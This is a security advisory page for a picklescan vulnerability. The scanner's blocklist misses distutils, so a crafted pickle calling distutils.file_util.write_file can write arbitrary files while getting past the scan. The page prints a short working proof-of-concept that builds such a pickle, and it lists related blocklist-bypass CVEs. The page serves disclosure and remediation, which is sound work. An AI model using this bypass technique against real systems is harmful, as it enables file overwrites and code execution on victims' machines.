Loading...
Skip to main content

CVE-2025-71321

HIGH

Picklescan vulnerable to Arbitrary File Writing

Published December 29, 2025Updated July 7, 2026Source: osv

Summary

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist

Remediation

Upgrade to the fixed version using your package manager.

pip
Update picklescan to 0.0.33 or later
pip install "picklescan>=0.0.33"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
picklescan
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+28 more)0.0.33

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2025-71321?
Picklescan vulnerable to Arbitrary File Writing This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-71321?
CVE-2025-71321 affects picklescan. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-71321 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-m273-6v24-x4m4
PYSEC-2026-1791

Related CVEs

  • CVE-2026-53873
    CRITICAL

    PickleScan's profile.run blocklist mismatch allows exec() bypass

  • CVE-2026-56315
    CRITICAL

    PickleScan has multiple stdlib modules with direct RCE not in blocklist

  • CVE-2025-71367
    HIGH

    Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter

  • CVE-2025-71320
    HIGH

    Picklescan has Incomplete List of Disallowed Inputs

  • CVE-2025-71375
    HIGH

    Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller

  • CVE-2025-71325
    HIGH

    Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

  • CVE-2026-53874
    HIGH

    picklescan missing detection by simple obfuscation of a `builtins.eval` call

  • CVE-2025-71362
    HIGH

    Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies